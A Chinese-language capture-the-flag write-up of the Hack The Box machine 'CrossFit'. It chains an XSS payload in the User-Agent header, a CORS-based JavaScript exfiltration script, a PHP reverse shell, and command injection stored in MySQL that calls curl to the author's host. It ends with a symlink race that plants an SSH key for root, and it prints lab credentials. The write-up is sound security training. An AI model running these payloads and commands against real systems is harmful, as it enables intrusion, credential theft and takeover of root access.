image-20201123145848425

这台机器做起来迷迷糊糊的,虽说Real-Life的maker rating有8,但是个人感觉还是有地方是为了被黑而做的特殊配置,因为我实在想不明白这个配置有什么实际的用途。。还是等着ippsec的视频讲解吧。

recon:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Nmap scan report for crossfit.htb (10.10.10.208)
Host is up, received user-set (0.0046s latency).
Scanned at 2020-11-23 02:05:14 EST for 14s

PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.0.8 or later
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCptno1XfLYf/kqcp6gzw/aP/qsmcpgjmJMckOswoHnQdrHb4NdPVNUX2pXPfHOz3it3uO85dLnInCGL1eYrtp0TAGAbxWZqGHtfzTTDqfOlPVzxGrQBIUVRYCpRWmJrMOEPfGnMOFwqTWWS9lpxhGytVc7PWPrI+xbHCx8K1FoAbu/0gq4ma9E4QnVKLj+WBWdGbODYP7WDHJgPOLZrmVoFNH4Kf16MOHcU9ZkCLBFlcJDwpa1I42KA8z8Plb0nuf5Oz2KOvc8OGe2tdNPwyR5RBfI6moAUcpf4yUVZA7nwqtQI1hMTZt51tP9Vi5+vHiEwSzFNMD7wFhL5/4FqD/D
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLWxr9V/NOESy7Mp0R4sTB0XMbGT79jDzOSrazVbblv3cIdNSCEqaw5+YYp2177KEQ0fFKB7pir9DMKhv6WTYAk=
| 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO5alU2Zh/TEwtrokhM4tkASihaiA38IKBWk7tFRoXWR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel

22端口没啥看的,80端口扫了目录,爆破了子域名也没啥东西。

21端口配置了ssl,检查ssl证书会发现一个新的子域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# root @ kali64 in ~/hackthebox/machines/crossfit [2:15:11] 
$ openssl s_client -connect crossfit.htb:21 -starttls ftp
CONNECTED(00000003)
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify return:1
---
Certificate chain
0 s:C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
i:C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
---
Server certificate
-----BEGIN CERTIFICATE-----
MIID0TCCArmgAwIBAgIUFlxL1ZITpUBfx69st7fRkJcsNI8wDQYJKoZIhvcNAQEL
BQAwdzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMRcwFQYDVQQKDA5Dcm9zcyBG
aXQgTHRkLjEXMBUGA1UEAwwOKi5jcm9zc2ZpdC5odGIxKTAnBgkqhkiG9w0BCQEW
GmluZm9AZ3ltLWNsdWIuY3Jvc3NmaXQuaHRiMCAXDTIwMDQzMDE5MTY0NloYDzM5
OTEwODE2MTkxNjQ2WjB3MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxFzAVBgNV
BAoMDkNyb3NzIEZpdCBMdGQuMRcwFQYDVQQDDA4qLmNyb3NzZml0Lmh0YjEpMCcG
CSqGSIb3DQEJARYaaW5mb0BneW0tY2x1Yi5jcm9zc2ZpdC5odGIwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDgibxJvtPny7Vee6M0BFBPFBohEQ+0zLDq
LdkW/OSl4tfEdZYn6U5cNYKTyYJ8CuytGlMpFw5OgOBPATtBYoGrQZdlN+7LQwF+
CZsedPs30ijAhygI7pM5S0hwiqdVReR/hhFHD/zry3M5+9NGeDLPgLbQG8qgPspv
Y+ErCXXotxVI+VrTPfGkjPixfgUTYsEetrkmXlig0S2ukxmNs7HXkjli4Z+qpGrn
mpFQokBE6RlD6VjxPzx0pfgK587s7F0/pIfXTHGfIOMnqXuLKBXsYIAEjJQxlLUt
U3lb7aZdqIZnvhTuzuOxFUIe5dRWyfERyODEd5WUlwsbY4Qo2HhZAgMBAAGjUzBR
MB0GA1UdDgQWBBTG3S2NuuXiSQ4dRvDnLqiWQdvY7jAfBgNVHSMEGDAWgBTG3S2N
uuXiSQ4dRvDnLqiWQdvY7jAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQB/tGKHZ9oXsqLGGW0wRRgCZj2adl1sq3S69e9R4yVQW7zU2Sw38CAA/O07
MEgbqrzUI0c/T+Wb1D+gRamCUxSB7FXfMzGRhwUqMsLp8uGNlxyDcMU34ecRwOil
r4jLmfeGyok1r8CFHg8Om1TeZfzNeVtkAkqf3XoIxbKQk4s779n/84FAtLkZNqyb
cSv8nnClQQSlf42P3AiRBbwM1Cx9SyKq977sIwOzKTOM4NcSivNdtov+Pc0z+T9I
95SsqLKtO/8T0h6hgY6JQG1+A4ivnlZ8nqSFWYsnX10lJN2URlAwXUYuTw0vCMy+
Xk0OmbR/oG052H02ZsmfJQhqPNF1
-----END CERTIFICATE-----
subject=C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb

issuer=C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb

---

gym-club.crossfit.htb 把这个域名加到hosts文件里。

这个网站有个waf,会去检测你的post表单里的内容,如果检测到有xss的话,会给你弹出警告:

image-20201123151935744

然而这个A security report containing your IP address and browser information will be generated and our admin team will be immediately notified. 就很灵性了,如果我把我的browser information里也加上xss的payload呢?比如说user-agent

image-20201123152121207

然后就上线了。在这里卡了很久,后来别人提示说下一步在ftp.crossfit.htb,我这里就很疑惑了,因为这俩不同源啊,难道要我盲猜那个网站的表单值吗,还是说配置了cors?

image-20201123152332433

果然就配置了cors。。。可以看到这里可以创建新的ftp账号,但是创建账号是有token的:

image-20201123152901573

所以beef这种发出一个请求的自然是不行了,第一次请求到token,第二次发送创建账号的request的时候,token就过期了,得自己写一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
myhttpserver = 'http://10.10.14.33/'
targeturl = 'http://ftp.crossfit.htb/accounts/create'

req = new XMLHttpRequest;

req.onreadystatechange = function() {
if (req.readyState == 4) {
req2 = new XMLHttpRequest;
req2.open('GET', myhttpserver + btoa(this.responseText),false);
req2.send();
}
}
req.withCredentials = true; //这个是必须的,不然无法关联 /accounts/create 和 /accounts的连续两次请求
req.open('GET', targeturl, false);
req.send();

reg = "_token" value="(.*)"/g;
token = reg.exec(req.responseText)[1];
var formData = new FormData();
formData.append("username", "testerer");
formData.append("pass", "password123");
formData.append("_token",token);
req.open('POST', 'http://ftp.crossfit.htb/accounts', true);
req.send(formData);

然后就可以用新建的账号登录上ftp了,发现另外一个子域development-test.crossfit.htb,上传php reverse shell,再用cors访问就行了。

用linpeas枚举到/etc/ansible/playbooks/adduser_hank.yml里有hash,john破解出来就能用hank登陆ssh了,顺便拿到user.txt

image-20201123160419880

/etc/crontab里看到定时任务,每分钟以isaac用户权限执行/usr/bin/php /home/isaac/send_updates/send_updates.php

去看send_updates.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;

if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);

foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);

$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}

cleanup();
?>

注意看use mikehaertl\shellcommand\Command;, 版本号在composer.json里,正好是1.6.0,而所有小于1.6.1的版本的是有命令注入漏洞的:https://snyk.io/vuln/SNYK-PHP-MIKEHAERTLPHPSHELLCOMMAND-538426 ,都不需要 mail的命令注入

但是要怎么触发比较tricky,试验了好久才发现得用ftpadm登陆ftp,然后上传任意文件,即可触发漏洞,当然需要提前在mysql数据库里插入自己的恶意payload

ftpadm密码和mysql密码都可以通过枚举拿到

1
2
3
4
5
6
7
8
9
10
11
hank@crossfit:/var/www/gym-club$ cat db.php 
<?php
$dbhost = "localhost";
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
$db = "crossfit";
$conn = new mysqli($dbhost, $dbuser, $dbpass, $db);
?>
hank@crossfit:/var/www/gym-club$ cat /etc/pam.d/vsftpd | grep ftpadm
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hank@crossfit:~$ mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 372
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [crossfit]> insert into users (email) values ("test | curl 10.10.14.33/`whoami`");
Query OK, 1 row affected (0.001 sec)

image-20201123163931464

拿到isaac shell之后又卡了一下,最后别人提示看/usr/bin/dbmsg,拖到ida_pro里一键F5就很清楚了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@4
__int64 v4; // rdi@4

if ( geteuid() )
{
fwrite("This program must be run as root.\n", 1uLL, 0x22uLL, stderr);
exit(1);
}
v3 = time(0LL);
v4 = v3;
srand(v3);
process_data(v4);
exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
int process_data()
{
__int64 v0; // rax@1
__int64 v1; // rax@4
__int64 v2; // rax@8
__int64 v3; // rax@10
__int64 v4; // rax@11
__int64 v5; // rbx@17
int v6; // eax@17
unsigned int v7; // eax@17
__int64 v8; // rax@19
__int64 v9; // rax@20
__int64 v10; // rax@21
__int64 v11; // rax@22
__int64 v12; // rax@23
__int64 v13; // rax@24
char v15; // [sp+0h] [bp-F0h]@17
char s; // [sp+30h] [bp-C0h]@17
char filename; // [sp+60h] [bp-90h]@17
char v18; // [sp+90h] [bp-60h]@11
unsigned int v19; // [sp+ACh] [bp-44h]@10
__int64 v20; // [sp+B0h] [bp-40h]@19
FILE *stream; // [sp+B8h] [bp-38h]@17
__int64 v22; // [sp+C0h] [bp-30h]@13
__int64 v23; // [sp+C8h] [bp-28h]@10
__int64 v24; // [sp+D0h] [bp-20h]@8
__int64 v25; // [sp+D8h] [bp-18h]@1

LODWORD(v0) = mysql_init(0LL);
v25 = v0;
if ( !v0 )
{
fwrite("mysql_init() failed\n", 1uLL, 0x14uLL, stderr);
exit(1);
}
LODWORD(v1) = mysql_real_connect(v25, "localhost", "crossfit", "oeLoo~y2baeni", "crossfit", 0LL);
if ( !v1 )
exit_with_error(v25);
if ( mysql_query(v25, "SELECT * FROM messages") )
exit_with_error(v25);
LODWORD(v2) = mysql_store_result(v25);
v24 = v2;
if ( !v2 )
exit_with_error(v25);
LODWORD(v3) = zip_open("/var/backups/mariadb/comments.zip", 1LL, &v19);
v23 = v3;
if ( !v3 )
{
zip_error_init_with_code(&v18, v19);
LODWORD(v4) = zip_error_strerror(&v18);
fprintf(stderr, "%s\n", v4);
exit(-1);
}
while ( 1 )
{
LODWORD(v13) = mysql_fetch_row(v24);
v22 = v13;
if ( !v13 )
break;
if ( *(_QWORD *)v22 )
{
if ( *(_QWORD *)(v22 + 8) )
{
if ( *(_QWORD *)(v22 + 16) )
{
if ( *(_QWORD *)(v22 + 24) )
{
v5 = *(_QWORD *)v22;
v6 = rand();
snprintf(&s, 0x30uLL, "%d%s", (unsigned int)v6, v5);
v7 = strlen(&s);
md5sum(&s, v7, &v15);
snprintf(&filename, 0x30uLL, "%s%s", "/var/local/", &v15);
stream = fopen(&filename, "w");
if ( stream )
{
fputs(*(const char **)(v22 + 8), stream);
fputc(32, stream);
fputs(*(const char **)(v22 + 24), stream);
fputc(32, stream);
fputs(*(const char **)(v22 + 16), stream);
fclose(stream);
if ( v23 )
{
printf("Adding file %s\n", &filename);
LODWORD(v8) = zip_source_file(v23, &filename, 0LL, 0LL);
v20 = v8;
if ( v8 )
{
LODWORD(v9) = zip_file_add(v23, &v15, v20, 2048LL);
if ( v9 >= 0 )
{
LODWORD(v11) = zip_strerror(v23);
fprintf(stderr, "%s\n", v11);
}
else
{
zip_source_free(v20);
LODWORD(v10) = zip_strerror(v23);
fprintf(stderr, "%s\n", v10);
}
}
else
{
LODWORD(v12) = zip_strerror(v23);
fprintf(stderr, "%s\n", v12);
}
}
}
}
}
}
}
}
mysql_free_result(v24);
delete_rows(v25);
mysql_close(v25);
if ( v23 )
zip_close(v23);
return delete_files();
}

重点看下面几行

1
2
3
4
5
6
7
8
v6 = *(_QWORD *)v24;
v7 = rand();
snprintf(&s, 0x30uLL, "%d%s", (unsigned int)v7, v6);
v8 = strlen(&s);
md5sum((__int64)&s, v8, (__int64)&v17);
snprintf(&filename, 0x30uLL, "%s%s", "/var/local/", &v17);
v3 = "w";
stream = fopen(&filename, "w");

简单说就是从mysql里获取数据,写到/var/local/ 下面,文件名生成就是简单的用当前时间作为种子,生成随机数,然后在后面加上1(注意看snprintf(&s, 0x30uLL, "%d%s", (unsigned int)v7, v6);, v6来自于v24,v24来自于v14,v14是mysql_fetch_row的返回值),然后再求md5值,作为文件名。这里存在一个漏洞,因为文件名在特定的时间是确定的,如果我去把相应的文件名作为软链接到其他文件上,那是不是就可以覆盖其他文件内容了?

输出随机数的程序:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
char tmp[50];
srand(time(0));
snprintf(tmp, 50, "%d%s", rand(), "1");
printf("%s\n",tmp);
return 0;
}

另外一个脚本不停的往/var/local/下面写软链接:

1
2
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "test","test@test.com","thisisatestmessage");'
while true; do ln -s /tmp/test /var/local/$(echo -n $(./test) | md5sum | cut -d " " -f 1) 2>/dev/null; done

过了一会儿,发现/tmp/test下面有了root创建的文件,内容就是 test thisisatestmessage test@test.com,所以修改脚本:

1
2
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "ssh-ed25519","root@kali64","AAAAC3NzaC1lZDI1NTE5AAAAIMoVhPSkMln5hmoeA4E+xjjzPzXiBzTCM4fvoHwgwWN7");'
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./test) | md5sum | cut -d " " -f 1) 2>/dev/null; done

过一会儿就能登陆上root了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh root@crossfit.htb -i id_rsa 
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 21 04:46:55 2020
root@crossfit:~# hostname && whoami && wc -c root.txt
crossfit
root
33 root.txt